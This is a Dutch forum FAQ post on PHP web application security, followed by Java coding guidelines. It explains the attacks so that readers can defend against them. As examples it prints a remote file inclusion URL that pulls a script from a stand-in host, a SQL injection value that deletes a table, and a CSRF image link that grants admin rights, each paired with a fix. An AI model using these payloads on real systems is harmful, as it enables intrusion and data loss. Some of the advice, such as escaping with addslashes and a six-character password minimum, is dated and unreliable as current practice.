In de meeste gevallen is hier een goed sessie systeem nuttig met een korte sessielevensduur. SessieID's mogen ook niet voorspelbaar zijn, evenals automatisch gegenereerde wachtwoorden. De authenticatie/autorisatie van een user is over het algemeen veel beter te regelen dmv sessies.

Echter kan een sessie geen bescherming bieden tegen het zgn. 'kapen van sessies' (het verkrijgen van het sessieID) en/of het afluisteren van verkeer. Wel kan je een sessie tot op zekere hoogte nog beschermen tegen het kapen, door ze te koppelen aan het (vaste) ip van de gebruiker.

Sessies kunnen op allerlei wijzen gekaapt worden, een van de manieren is daarvoor het afluisteren van het verkeer en dat is gelukkig weer goed te voorkomen met encryptie van de communicatie. De standaardmethode hiervoor is de SSL-tunneling van HTTP, via HTTPS, dit biedt een behoorlijk goede beveiliging tegen allerlei vormen van afluisteren.

Naast het moedwillig kapen is het ook mogelijk dat allerlei tussenliggende proxyservers pagina's in hun cache opslaan, die per gebruiker specifiek zouden moeten zijn. Een goede proxyserver zal de cache instellingen uit de headers aflezen en die respecteren. Voor dat soort zaken is het dus ook verstandig de cache-control headers altijd mee te sturen (oa voor 'private' cacheing), zodat niet twee gebruikers elkaars sessies etc kunnen krijgen.

SSL gebruiken.
Er moet dan uiteraard wel goed gecontroleerd worden of HTTPS ook daadwerkelijk gebruik wordt, het liefst moet ook de 'inlogpagina' zelf al via HTTPS getransporteerd worden. Die controle is vrij eenvoudig uit te voeren met; if($_SERVER['HTTPS'] == 'on'), maar lastiger te 'forceren'. Je kunt een gebruiker tenslotte niet dwingen ineens een https verbinding te hebben, maar hem dat slechts als mogelijke opties tonen.

Naast HTTPS/SSL voor de verbinding met de gebruiker kan er ook nog gedacht worden aan een SSL verbinding met de betalingsinstanties en/of andere resources op het internet die geraadpleegd moeten worden. Deze zullen nog een gevaarlijker plek zijn, wat hackers en crackers betreft.

Verder kunnen SSL-certificaten gebruikt worden om de gebruiker zich te laten authenticeren bij de server, dit zal in de praktijk niet veel gebruikt worden, maar bij erg belangrijke applicaties is een dergelijke oplossing wel noodzakelijk.

Foute invoer controleren
Het is, helaas, ook mogelijk dat gebruikers 'malicious' htmlcode kunnen plaatsen op een site (overal waar gebruikers berichten achter kunnen/mogen laten). In dat geval kunnen ze door middel van een simpel stukje javascript heel simpel alle inhoud uit de cookies en de GET/POST-aanroep krijgen. Hiertegen is verder geen bescherming te bieden door de aanbieder van de site, behalve door het tegengaan van javascript en html 'plaatsbaarheid'.

De andere grote veiligheidsgaten trekker is het opgeven van foute waarden. Vaak gaan programmeurs er vanuit dat 'als het niet in het vakje past, kan het niet gestuurd worden'. Dat is helaas niet waar met http en ook op geen manier echt vast te leggen. Mocht er dus clientside door (bijv.) javascript de invoer gecontroleerd worden, dan dient deze altijd aan de serverside gecontroleerd te worden.

Er zijn in de php-wereld twee klassieke voorbeelden:

Stel er is een script met code:

PHP:

<?
if(isset($include))
{
    include($include . ".php");
}
?>

Dit soort code laat het toe dat er (bijna altijd) willekeurige code uitgevoerd kan worden. Er wordt verder geen controle op de waarde van $input uitgevoerd, een voorbeeld exploit van deze fout is dan ook:

code:

1	http://www.server.nl/test.php?include=http://gevaar.nl/foutscript

code:

1	http://www.server.nl/test.php?include=http://gevaar.nl/foutscript

In dit geval zal de code van het script (of de scriptoutput) http://gevaar.nl/foutscript.php uitgevoerd worden op de doelserver.

Dit is overigens heel eenvoudig te voorkomen. De ene manier is controleren of de waarde van $include wel toegestaan is, door bijvoorbeeld met de functie in_array() te controleren of deze in een bepaald array zit of door bijv dmv een switch/case boom de waarde $input nooit in een include te gebruiken.

PHP:

<?
$paginanamen = array('test', 'index');
if(isset($include) && in_array($include, $paginanamen)
{
    include($include .".php");
}
else
{
    include("index.php");
}
?>

PHP:

<?
if(!isset($include))
{
    $include = 'index';
}
switch($include)
{
    case 'index' :
        include('index.php');
        break;
    case 'test' :
        include('test.php');
        break;
    default :
        include('index.php');
        break;
}?>

Een variant hier op is het direct invoeren van waarden in allerlei queries. De 'zwaardere' databases kunnen prima overweg met meerdere queries in één statement, waardoor er een groot gevaar schuilt in het volgende:

PHP:

1
2
3

<?
$query = "SELECT * FROM tabel WHERE naam = '$naam';";
?>

Als nu via een GET-aanroep de variabele $naam een waarde als:

PHP:

1 2	<? $naam = "bla'; DELETE FROM tabel; SELECT * FROM tabel WHERE naam = 'bla";?>

is het overduidelijk dat dit geen gewenst resultaat gaat geven.

Het grote gevaar schuilt hem erin, dat de uiteindelijke query tekst het volgende wordt:

PHP:

1
2
3

<?
$query = "SELECT * FROM tabel WHERE naam = 'bla'; 
            DELETE FROM tabel; SELECT * FROM tabel WHERE naam = 'bla';";?>

Wat natuurlijk perfect aan de eisen van de database voldoet, maar niet echt aan die van de gebruiker. Dit soort zaken is erg simpel op te lossen door de ' te 'escapen'.

PHP biedt daar onder andere functies als addslashes(), mysql_string_escape(), pg_string_escape() voor.

Gerelateerd hieraan is het opgeven van stukken tekst waar getallen verwacht worden (door allerlei functies te controleren) en het opgeven van verkeerde waarden voor de hidden-input velden.

Het kan namelijk ook erg vervelende gevolgen hebben als blijkt dat een opgegeven getal 'niet 0' is en er mee gedeeld wordt (of het getal niet eens opgegeven is).

GET en POST variabelen door elkaar gebruiken.
Een andere variant op deze aanvalsmethode is het opsturen van variabelen via GET terwijl deze door middel van POST gestuurd had moeten worden, bij veel sites die en geïntegreerde gebruikersadministratie interface hebben was het mogelijk om door middel van GET-variabelen statussen van gebruikers te wijzigen.

Dit lijkt niet erg, totdat je diezelfde gebruikers plaatjes laat plaatsen.

Als een gebruiker dan een plaatje opgeeft in de trant van: jouwserver.nl/admin/useradmin.php?action=maakadmin&userid=1234 kan er allerlei ergs gebeuren. Als in dit geval de variabele $action met de (valide) waarde 'maakadmin' uitgelezen wordt dan zal de gebruiker met userid 1234 ineens administratorrechten hebben gekregen nadat een al bestaande administrator toevallig dat 'plaatje' laadde.

Een erg groot deel van de publiekelijk verkrijgbare forumsoftware pakketen was kwetsbaar voor deze variant. De oplossing hiervoor is ook weer redelijk eenvoudig, maar vereist wel wat meer inzicht in http en een strikter programmeermodel. Men moet zichzelf verplichten de 'automatisch globale' variabelen (alle sessie, cookie, post en get variabelen in de oudere php-versies) niet te gebruiken.

PHP biedt de mogelijkheid de aanroep te veranderen in varianten als: $_POST['action'] waarmee gekeken wordt naar de bij de POST-request opgestuurde variabele met de naam 'action'.

Hiermee wordt gegarandeerd dat de variabele altijd dmv een POST-request gestuurd was, een vergelijkbare mogelijkheid is er voor de SESSION, SERVER, GET en COOKIE variabelen (ook is er nog de FILES, voor gePOSTte files).

Strict gebruikmaken van deze array's is dus erg aan te raden en zou verplicht moeten zijn. Om dit 'verplicht' strikt te maken kan de optie 'register_globals' op Off gezet worden om het zelfs niet meer mogelijk te maken dat het anders werkt.

Code testen en debuggen.

Het is natuurlijk altijd de bedoeling dat code goed gedebugged en getest wordt, bij php is het vrij eenvoudig om flinke fouten te maken omdat een variabele gebruikt wordt die helemaal niet bestaat. Mocht dat bekend worden bij hackers, dan is het zelfs mogelijk dat zij een waarde meegeven waardoor er ernstige problemen kunnen ontstaan. Om deze fouten tegen te gaan is het raadzaam dat de code geen waarschuwingen oplevert indien de foutmeldingniveau's op het laagst mogelijk gezet zijn. Dit is in te stellen dmv: error_reporting(E_ALL)

Rechten altijd controleren.
Zowel bij het aanbieden als het uitvoeren van een bepaalde functionaliteit moet er gecontroleerd worden of de gebruiker wel recht heeft dat te doen. Bijvoorbeeld het recht op het bekijken van de backend en het daar wijzigen van teksten.

Daar bovenop kan nog eens gecontroleerd worden of die gebruiker het recht heeft 'artikelen van anderen' te wijzigen en ga zo maar door.

Aangezien HTTP stateless is, moet er bij elke actie gecontroleerd worden waar de gebruiker is in het stadium van een actie (hiervoor zijn sessies bedacht) en moet er dus ook altijd gecontroleerd worden of de rechten wel valide zijn. Anders zou iemand 'voorbij de eerste stap' in kunnen stappen en dan ineens wel toegelaten worden.

Ook is het erg raadzaam bij 'belangrijke taken' de veiligheidsopties nog strakker aan te trekken. Het is bijvoorbeeld mogelijk om in zulk soort gevallen altijd opnieuw om het password te vragen. Bijvoorbeeld bij het wijzigen van gegevens of rechten van andere gebruikers.

Naast het opgeven van passwords moeten deze passwords ook altijd 'moeilijk' zijn, zowel niet raadbaar als niet berekenbaar. En het is helemaal 'veilig' als deze passwords ook nog eens om de X uur (automatisch) te laten veranderen (bijvoorbeeld elke 2 weken).

Goede password policies stellen normaliter als eis dat het password bestaat uit een variërende reeks tekens van minimaal 6 tekens, liefst met getallen, leestekens, hoofdletters en gewone letters door elkaar. Dit maakt het password niet raadbaar en nauwelijks 'brute forceerbaar'. Een password als 'jansen' is natuurlijk erg makkelijk te raden als de gebruiker zelf 'Jan Jansen' heet, echter zal 'gsa-3$@sfa' nooit geraden worden. Het grootste nadeel is dat het password niet makkelijk te onthouden is en daardoor nog wel eens op het scherm geplakt wordt met een post-it, dan is natuurlijk al het nut van een moeilijk password verdwenen.

Firewalls en 'hard' afschermen.
Sommige delen van de site worden maar door een bepaald aantal mensen gebruikt, dan is het in principe niet nodig dat andere mensen daarbij kunnen komen. En vaak is het dan raadzaam dat dat door middel van een goede firewall afgeschermd wordt. Ook kan de meeste webserversoftware zo ingesteld worden dat mensen vanaf een bepaald ip-adres wel (of juist niet) ergens bij kunnen. Want wat een hacker niet kan zien, kan hij niet of nauwelijks hacken. Vergeet echter niet dat de hack op een van de zwakste schakels gebeurd, mocht de computer met het toegestane ip-adres makkelijk over te nemen zijn, dan heeft deze beveiliging geen effect meer.

Intruder detection.
Een belangrijke functionaliteit om (het slagen van) hackpogingen tegen te gaan is het zogenaamde intruder detection. Hiermee wordt geprobeerd de hacker op te sporen op het moment dat hij binnenkomt, een soort alarmsysteem dus. De meest gebruikte respons is dan een mailtje naar de beheerder, een regeltje in de logbestanden en/of het (tijdelijk) afsluiten van het ip-adres van de hacker.
Als een hacker tijdig gedetecteerd kan worden zal de impact en kans van slagen van een hackpoging veel verkleinen. Zelfs als de hacker weet binnen te komen is het nog verstandig dat hij gedetecteerd wordt, zodat hij niet ongestoord zijn gang kan gaan.

Een voorbeeld van intruder detectie is; Als de sessie van een gebruiker gekoppeld wordt aan zijn ip-adres, kan het ontdekt worden dat de sessie ineens van een ander ip komt. Bij mensen met een vast ip-adres betekent dat dan vrijwel zeker dat de sessie gekaapt is. Een verstandige respons is dan om de sessie te vernietigen en in de logfiles te vermelden dat dit heeft plaatsgevonden.

Ook wijst het vaak op 'problemen' wanneer gebruikers meerdere sessies hebben lopen vanaf dezelfde computer (bijvoorbeeld voor gebruiker A en gebruiker B, C en D), er moet natuurlijk wel rekening mee gehouden worden dat proxyservers ook op zo'n manier over kunnen komen.

Een ander punt is natuurlijk het 'te vaak' fout intikken van wachtwoorden.

Loggen van fouten.
Om achteraf bewijsmateriaal te verzamelen en fouten in de software tijdens routine controles op te sporen is het verstandig dat er veel gelogd wordt. Natuurlijk heeft het geen nut tien keer hetzelfde te loggen, maar een intelligente logging van (vooral) de belangrijke stappen binnen het gebruik van de site werpt zeker zijn vruchten af. Een van de standaard handelingen van een hacker is om de logfiles te verwijderen na en/of tijdens zijn werkzaamheden, het is dan ook verstandig de logfiles op een andere server te laten bijhouden, zodat de hacker daar niet (makkelijk) bij kan komen.

Andere handelingen tijdens vermeende hackpogingen.
Als onderdeel van een DoS aanval kan het gebeuren dat een hacker/cracker zich honderden-duizenden keren probeert te registreren als gebruiker of andere handelingen verricht (bestellingen in een webshop), het is daarom raadzaam om in ieder geval dat deel van de site te kunnen uitschakelen. Vaak is het daarbij nog nuttig de site in 'onderhoudsmodus' te zetten, zodat niets meer werkt en de eventuele schade en/of fouten hersteld kunnen worden. Naast het kunnen uitschakelen van die opties met de hand, is het ook erg verstandig dit (deels) te automatiseren, waardoor de site zichzelf voor een deel en bijvoorbeeld alleen voor bepaalde ip-adressen deels of compleet uitschakelt. Veelal kan dit laatste gecombineerd worden met intruder detection.
kritiek op een aanmerkingen kunnen hier: [RFC] Uitbreiding voor de FAQ, beveiliging website en hier [ALG] over de FAQ. Security: open source of niet?. tnx ACM voor dit stukje.

[ Voor 37% gewijzigd door D2k op 21-12-2002 12:36 ]

Doet iets met Cloud (MS/IBM)

zondag 8 december 2002 17:22

Acties:

0 Henk 'm!

D2k

Topicstarter

P&W FAQ: Java

Java links:
• http://www.javasoft.com
• http://java.sun.com/products/jdk/1.3/docs/api
• http://java.sun.com/docs/books/tutorial
• http://java.sun.com/docs/books/tutorial/java/concepts
• http://www.jguru.com/faq/
• http://www2.gol.com/users/tame

herschrijven

Taal specifiek : JAVA en ObjectOriented(algemeen)

Gebruik getypeerde enumeraties ipv integers.
Maak niet constante variabelen nooit public.
Geef een methode parameter nooit een nieuwe waarde.
Gebruik altijd code-blocks bij if, while, for etc.
Vermijd het gebruik van de ... ? ... : ... constructie.
Gebruik Engelse namen om de code er homogeen uit te laten zien in combinatie met standaard API gebruik.
Overweeg het gebruik van _ voor klasse variabelen, om een duidelijk onderscheid te maken tussen lokale en klasse variabelen.
Vermijd het gebruik van static.
Gebruik een Iterator ipv een Enumeration, ArrayList ipv Vector, HashMap ipv Hashtable
Gebruik een StringBuffer als je over meerdere statements een String moet opbouwen. Als je een String in 1 statement optelt, wordt dit automatisch gedaan.
Gebruik zoveel mogelijk maar 1 return statement in een methode.
Schrijf korte methoden. Als een methode duidelijk meerdere taken verricht, moet je overwegen om dit op te splitsen.
Eet je exceptions nooit op door ze simpel naar de System.out te schrijven. Gooi ze zover door als noodzakelijk is.
Roep altijd de super constructor aan.